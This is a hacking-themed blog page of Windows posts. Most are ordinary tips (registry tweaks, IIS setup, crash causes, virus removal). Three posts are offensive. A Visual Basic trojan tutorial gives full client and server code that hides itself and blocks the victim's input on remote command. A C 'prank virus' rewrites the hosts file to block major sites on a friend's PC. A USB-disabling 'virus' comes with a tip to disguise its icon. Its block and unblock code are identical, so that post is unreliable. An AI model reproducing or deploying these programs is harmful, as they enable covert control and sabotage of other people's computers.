Hack'a'Holic : Decrypting Encrypted Ideas: Windows

Showing posts with label Windows. Show all posts

Learn how to Make Trojan in VB (Code)

Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code. The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go through what you need for both and some sample code.

Server

The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it. To do this you start by using

Code: VB

Private Sub Form_Load()

Me.Visible = False

End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.

Code: VB

Private Sub Form_Load()

Me.Visible = False

App.TaskVisible = False

End Sub

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!

The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.

Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.

Code: VB

Private Sub Form_Load()

Me.Visible = False

App.TaskVisible = False

win.LocalPort = 2999

win.RemotePort = 455

win.Listen

End Sub

This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat. Lets make it block the input of the user completely when we tell it to!

To do this little devious thing we need to add a module with the following code

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Then we add this code to our main form:

Code: VB

Private Sub win_ConnectionRequest(ByVal requestID As Long)

win.Close

win.Accept requestID

End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)

win.GetData GotDat

DoActions (GotDat)

End Sub

The code in the module is called a windows API. It uses a dll file to do tasks that we want. Now this code still won’t block the users input but we are very close. We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!

Code: VB

Public Function DoActions(x As String)

Dim Action

Select Case x

Case "block"

Action = BlockInput(True)

End Select

End Function

Ok now we have a program that when the data “block” is sent to it on port 2999 it will block the users input. I made a Select Case statement so it is easy to modify this code to your own needs later on. I recommend adding a unblock feature of your own. To do that just call the BlockInput function with the argument False instead of true.

Main Form

Code: VB

Private Sub Form_Load()

Me.Visible = False

App.TaskVisible = False

win.LocalPort = 2999

win.RemotePort = 455

win.Listen

End Sub

Private Sub win_ConnectionRequest(ByVal requestID As Long) ' As corrected by Darkness1337

win.Close

win.Accept requestID

End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)

win.GetData GotDat

DoActions (GotDat)

End Sub

Remember to add your winsock control and name it to win if you use this code.

Code: VB

Module

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Public Function DoActions(x As String)

Dim Action

Select Case x

Case "block"

Action = BlockInput(True)

End Select

End Function

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the command “block”.

Make a form and add a Winsock Control, a text box, and three buttons. The Text box

should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.

Code: VB

Private Sub cmdConnect_Click()

IpAddy = txtIp.Text

Win.Close

Win.RemotePort = 2999

Win.RemoteHost = IpAddy

Win.LocalPort = 9999

Win.Connect

cmdConnect.Enabled = False

End Sub

Private Sub cmdDisconnect_Click()

Win.Close

cmdConnect.Enabled = True

End Sub

Private Sub cmdBlockInput_Click()

Win.SendData "block"

End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send the “block” data to block off their input.

Do post in your comments for any Queries

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Coding, Computers, Viruses - Trojans, Windows | 6 Comments

Prank your Friend : Block Websites on his PC Virus

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

Here is the Source Code of the virus :

#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

1. Paste the Above Given Source Code in Notepad & Save it as "Website_Block.c"
2. Compile the above created source file using a C Compiler.
3. Run the compiled module ie. the exe file obtained after compilation. It will block the sites that is listed in the source code.
4.Once you run the file Website_Block.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

5. To remove the virus type the following in the Run Dialog Box. (Start -> Run)

%windir%\system32\drivers\etc

6.There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1 google.com

7. Delete all such entries which contain the names of blocked sites.

Enjoy playing this Prank over your Friends & make them toil to use these Websites :D ;-)

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Coding, Computers, Firefox, Viruses - Trojans, WEBSITE HACKING, Windows | 1 Comments

Disable USB Ports : Virus Source Code

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. Copy the below Given Code in Notepad & Save it as "block_usb.c"

#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}

2. Again Copy the below Given Code in Notepad & Save it as "unblock_usb.c"

#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}

3. Compile the Above two saved files using a C Compiler before you can run it.

4. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

5. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

6. You can also change the icon of this file to make it look like a legitimate program.

Hope you would have Liked it. Do post back your comments over it. :) :)

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Coding, Hacking, Viruses - Trojans, Windows | 0 Comments

Remove REGSVR.EXE and New Folder.exe viruses completely

Plug a pendrive into a public computer and you will be pesked by the continuously replicating “New Folder.exe” virus or the “regsvr.exe” virus. Hear my story, while I transferred my notes last night (around 600 folders) and I was surprised to see that around 450 MB of space was eaten by these self replicating space eaters ! I was running Linux so these were not a concern for me, but when I plugged my pendrive into my virtual machine (windows xp sp2), it caused multiple problems of explorer corruption and disabling registry tools.

Time for some virus busting I guess..here is how you can remove “regsvr.exe” and “new folder.exe” from your computer.

Step 1 - Some Startup Repairs

First of all, boot into safe mode.After you get to your desktop,press F3 or Ctrl + F and search for “autorun.inf” file in your computer and delete all the subsequent files. I case you are no able to delete them, select all the files and uncheck the”Read Only” option. If you are still not able to delete them , you might want to try out Unlocker tool todelete the files.

Now go to

start – > run –> type ”msconfig”

and press enter

Go to startup tab and uncheck “regsvr”, click ok and then click on “Exit without restart”.

Now go to

control panel –> scheduled tasks and delete “At1” task listed there.

Once done, close all windows.

Step 2 - Changing Configurations

Your registry might be disabled,and you need to activate it back to undo all the malicious changes done by worm.In order to do that, you need to go to

start – > run –> type ”gpedit.msc”

and press enter

then navigate to

users configuration –> Administrative templates –> systems

Find “prevent access to registry editing tools” , double click it and change the option to disable.

Once done, your Regedit will be enabled. In case your task manager is disabled, you need to enable it.

Step 3 - Registry Edits

Now we have to perform some registry edits to enable our explorer and to remove all instances of worm from the registry. Go to

start – > run –> type ”regedit”

and press enter

Click on Edit –> Find and search for regsvr.exe . Find and delete all the occurrences of regsvr.exe virus (don't delete regsvr32.exe as its not a virus).

then navigate to entry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

and modify the entry

Shell = “Explorer.exe regsvr.exe”

to delete the regsvr.exe from it,so that it becomes

Shell = “Explorer.exe”

Once done, close all windows and get ready to delete all virus files.

Step 4 - Deleting Virus Files

The final step is to delete all the virus files in your computer. To do this, Press F3 or Ctrl + F and search for regsvr.exe (make sure to search in hidden folders ) and delete all “regsvr.exe” “svchost .exe” files (notice the gap between ‘svchost’ and ‘.exe’, keep in mind you don't delete the legitimate file.).

Clean your recycle bin and restart your PC (perform a cold boot).

Volia..you have cleaned your computer from regsvr..just make sure to scan your pendrive the next time you plug in :)

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Hacking, Viruses - Trojans, Windows | 0 Comments

Increase Win XP Folder Settings

Hi Techies,
This post of mine is about increasing the default value of number of settings stored by XP about Folders.
WinXP remembers 400 folder settings. When that number is reached some settings aren't retained any longer. You can change this to 8000 by adding this edit to the registry.

1. Copy the following (everything in the italic) into notepdad.

Windows Registry Editor Version 5.00

[-HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU]
[-HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell]
"BagMRU Size"=dword:00001f40

[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam]
"BagMRU Size"=dword:00001f40

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoSaveSettings"=dword:00000000

2. Save the file as folder8000.reg
3. Double click the file to import into your registry.

!!! You are Done !!!

posted under Windows | 0 Comments

Installing IIS On Win XP Pro

If you are running Windows XP Professional on your computer you can install Microsoft's web server, Internet Information Server 5.1 (IIS) for free from the Windows XP Pro installation CD and configure it to run on your system by following the instructions below: -

1. Place the Windows XP Professional CD into your CD-Rom Drive.

2. Open 'Add/Remove Windows Components' found in 'Add/Remove Programs' in the 'Control Panel'.

3. Place a tick in the check box for 'Internet Information Services (IIS)' leaving all the default installation settings intact.

4. Once IIS is installed on your machine you can view your home page in a web browser by typing 'http://localhost' (you can substitute 'localhost' for the name of your computer) into the address bar of your web browser. If you have not placed your web site into the default directory you should now be looking at the IIS documentation.

5. If you are not sure of the name of your computer right-click on the 'My Computer' icon on your desktop, select 'Properties' from the shortcut menu, and click on the 'Computer Name' tab.

6. Your default web directory to place your web site in is 'C:\Inetpub\wwwroot', but if you don't want to over write the IIS documentation found in this directory you can set up your own virtual directory through the 'Internet Information Services' console.

7. The 'Internet Information Services' console can be found in the 'Administration Tools' in the 'Control Panel' under 'Performance and Maintenance', if you do not have the control panel in Classic View.

8. Double-click on the 'Internet Information Services' icon.

9. Once the 'Internet Information Services' console is open you will see any IIS web services you have running on your machine including the SMTP server and FTP server, if you chose to install them with IIS.

9. To add a new virtual directory right click on 'Default Web Site' and select 'New', followed by 'Virtual Directory', from the drop down list.

10. Next you will see the 'Virtual Directory Creation Wizard' from the first screen click the 'next' button.

11. You will then be asked to type in an 'Alias' by which you will access the virtual directory from your web browser (this is the name you will type into your web browser after 'localhost' to view any web pages you place in the directory).

12. Next you will see a 'Browse...' button, click on this to select the directory your web site pages are in on your computer, after which click on the 'next' button to continue.

13. On the final part of the wizard you will see a series of boxes, if you are not worried about security then select them all, if you are and want to run ASP scripts then check the first two, followed by the 'next' button.

14. Once the virtual directory is created you can view the web pages in the folder by typing 'http://localhost/aliasName' (where 'aliasName' is, place the alias you called the virtual directory) into the address bar of your web browser (you can substitute 'localhost' for the name of your computer if you wish).

!!!! You are Done !!!! Enjoy Running your Websites over it ;) :)

posted under Informative, Windows | 0 Comments

Problem in viewing Secure Sites ???

Hi,

We often face problems in viewing secure sites while surfing online or doinf online transactions over Banking sites or E-commerce sites. So here is the Solution to it, which surely improve your experience of it (it did in my case ;) )

Fix the problem you need make a new notepad file and write in it the following DLL's. Just copy-paste these :

regsvr32 SOFTPUB.DLL
regsvr32 WINTRUST.DLL
regsvr32 INITPKI.DLL
regsvr32 dssenh.dll
regsvr32 Rsaenh.dll
regsvr32 gpkcsp.dll
regsvr32 sccbase.dll
regsvr32 slbcsp.dll
regsvr32 Cryptdlg.dll

and Save it as > all file types, and make it something like securefix.bat.

Then just run the file and your problem should be gone !!

Happy Surfing :) :)

posted under Hacking, Informative, Windows | 0 Comments

Change the Default Location of Installing Applications in Windows

As the size of Hard Drives increase, more people are using partitions to separate and store groups of files.

XP uses the C:\Program Files directory as the default base directory into which new programs are installed. However, you can change the default installation drive and/ or directory by using a Registry hack.

1.Run the Registry Editor (regedit)and go to
2.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
3. Look for the value named ProgramFilesDir. by default,this value will be C:\Program Files. Edit the value to any valid drive or folder and XP will use that new location as the default installation directory for new programs.

posted under Hacking, Windows | 0 Comments

Make Win XP Boot Faster

Hi Friends,
We often gets frustrated when our Operating System consumes a lot of time while Booting & we don't have a option sitting idle in front of it & waiting. So here comes a trick for you all which'll surely improve your speed of booting Win XP.

Follow the following steps :

1. Open notepad.exe, type "del c:\windows\prefetch\ntosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:\
2. From the Start menu, select "Run" & type "gpedit.msc".
3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.
4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".
5. Click "OK", "Apply" & "OK" once again to exit.
6. From the Start menu, select "Run..." & type "devmgmt.msc".
7. Double click on "IDE ATA/ATAPI controllers"
8. Right click on "Primary IDE Channel" and select "Properties".
9. Select the "Advanced Settings" tab then on the device or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' & click "OK".
10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.
11. Reboot your computer.

And you are Done. See the difference in booting time now :)

posted under Windows | 0 Comments

Hidden Back-Up Utility in Windows XP

Windows XP has a Hidden Utility for Backing up your data & files. To use this Utility follow the steps given below :-

1. Insert your windows XP disc into your PC.
2. Click exit if your installation screen comes up.
3. Now go too your CD drive in *My Computer*. Right-click and Select Open.
4. Choose VALUE ADD\MSFT\NT BACK-UP FILE.
5. In the *files of type* drop down list be sure that *select all files* is on.
6. Click on the NTBACK-UP.msi file and click OK.
7. Click the Finish button and now go over too the START Button\ALL PROGRAMS\ACCESSORIES\SYSTEM TOOLS\

!!!! Voilla !!!! There you see the Hidden Utility. Use it to backup files & data. Enjoy :-)

posted under Computers, Windows | 0 Comments

10 Reasons why PCs Crash ???

Fatal Error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."

You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?

1. Hardware Conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.

Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.

To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2. Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.

But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.

One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

3. BIOS Settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.

Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.

Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

4. Hard Disk Drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5. Fatal OE Exceptions and VXD Errors

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

6. Viruses

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).

7. Printers

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.

8. Software

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.

The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.

Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org

Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.

Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.

Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.

Remember to restore all the BIOS settings back to their former settings following installation.

9. Overheating

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.

One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com

CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

10. Power Supply Problems

With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.

If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

posted under Computers, Informative, Windows | 0 Comments

Browse The Web Using MS Calculator

Now access the internet via your standard Microsoft Calculator using this trick.
You can do this for fun or when your browser is messed up for some unexplainable reason.

Here are the Steps:-

1. Open your MS Calculator. This is normally found in Start => All Programs => Accessories => Calculator.

2. Open the help-window by pressing the F1 key.

3. Click the top-left corner icon of the help window once (Standard is a Document with a Questionmark).

4. Select 'Jump to URL'.

5. Type your address into the available field, but remember to type http://, and not just www. (or equivalent).

!!!!!! ENJOY !!!!!!

posted under Windows | 4 Comments

Lock your Personal Folder without any Software

Hey friends, you all must be having some private data on your PC whose security you want to maintain. There are many softwares available for it to lock your files. But this can also be done without the use of them.

Just follow the below given steps to implement it :-

1. Paste the below given code in notepad.
2. Save as "AnyFileName".bat
3. Copy The BAT File in Your Computer,where you want to create the locker folder
4. Run the file and you will see a new folder called “Locker”
5. Now add the files you want to be locked in that folder.
6. Run Again The Bat File you have created, and it will ask you if you want to Lock the folder
7. Type Y For Yes. The folder will be locked and hidden.
8. To unlock, run bat file you have created
9. Enter Your password to unlock
------------------------------------------------------------------------------------
cls
@ECHO OFF
title Vaibhav File Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Vaibhav File Locker
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo vaibhav File Locker
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%== type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
------------------------------------------------------------------------------------

!!!!!! ENJOY !!!!!!

posted under Windows | 0 Comments

How To Block Websties Without Softwares

This post will be extremely useful for parents who want to prevent opening of erotic and expicit content websites on their PC's.

I think most of us have heard about blocking of websites through various softwares. Even even get to see an example to this on our colleges and schools. But this post will let you do the same thing without the need of any Software.

Just follow the below given steps to do it :-

1. Browse C:\WINDOWS\system32\drivers\etc
2. Find the file named "HOSTS"
3. Open it in notepad
4. Under "127.0.0.1 localhost" Add 127.0.0.2 www.sitenameyouwantblocked.com , and
that site will no longer be accessable.
5. Done !!!!

-So-
127.0.0.1 localhost
127.0.0.2 www.blockedsite.com
-->www.blockedsite.com is now unaccessable<-- For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the add like before.For ex:- 127.0.0.3 www.block.com 127.0.0.4 www.blockblock.com 127.0.0.5 www.etcetc.com !!!!!! ENJOY !!!!!!

posted under Windows | 0 Comments

Change Title of Internet Explorer

Hie friends, Bored with the Name "Internet Explorer" !!!!!
Wanna like to Change it, then this post might help you out.

Just Follow the Below given steps and its done :-

1. Start -> Run-> Regedit
2. Go to HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title
3. Enter what you want appear in the title bar.

Bingo !!!! Its Done !!!!

!!!!!! ENJOY !!!!!!

posted under Windows | 1 Comments

Shocking fact About Ctrl+c (the 'copy' Cmd)

Hie Friends, Please be careful while you Press Ctrl+C !!!!!!

Ctrl+C we use it every day . But it's not a very safe thing to do. You all will ask WHY???? Then here is the answer to it.

What happens when you press Ctrl+C while you are Online. We do copy various data by Ctrl + C for copying & pasting elsewhere. This copied data is stored in clipboard and is accessible from the net by a combination of Javascripts and ASP.
if u don't believe me, Just try this:

1) Copy any text by Ctrl + C
2) Click the Link: http://www.sourcecodesworld.com/special/clipboard.asp
3) You will see the text you copied was accessed by this webpage.

So Do not keep sensitive data (like passwords, creditcard numbers,PIN etc.)in the clipboard while surfing the web. It is extremely easy to extract the text stored in the clipboard to steal your sensitive information.

You can stop hacking of clipboard content by Following the below steps :-

1.Go to internet options of explorer -> tools menu ->Internet option -> Security Custom level
2.In settings - Select disable under allow past operations via script.

I hope this Post will Help you some Day.
Be safe from Hacking.

!!!!!! ENJOY !!!!!!

posted under Informative, Windows | 0 Comments

Keyboard Shortcuts for Google Talk

Here is the list of some of the Keyboard Shortcuts of GTalk :-

* Ctrl + E - It centralizes the selected text, or the current line.
* Ctrl + R - It justifies to the right the selected text, or the current line.
* Ctrl + L - It justifies to the left the selected text, or the current line.
* Ctrl + I - The same thing does that Tab.
* Tab - It is giving the area to each of the windows opened by Google Talk.
* Ctrl + Tab - The same thing does that Shift + Tab .
* Shift + Tab - The same thing does that Tab but in reverse.
* Ctrl + Shift + L -Switch between points, numbers, letters, capital letters, roman numbers and capital roman numbers
* Ctrl + 1 (KeyPad) - It does a simple space between the lines.
* Ctrl + 2 (KeyPad) - It does a double space between the lines.
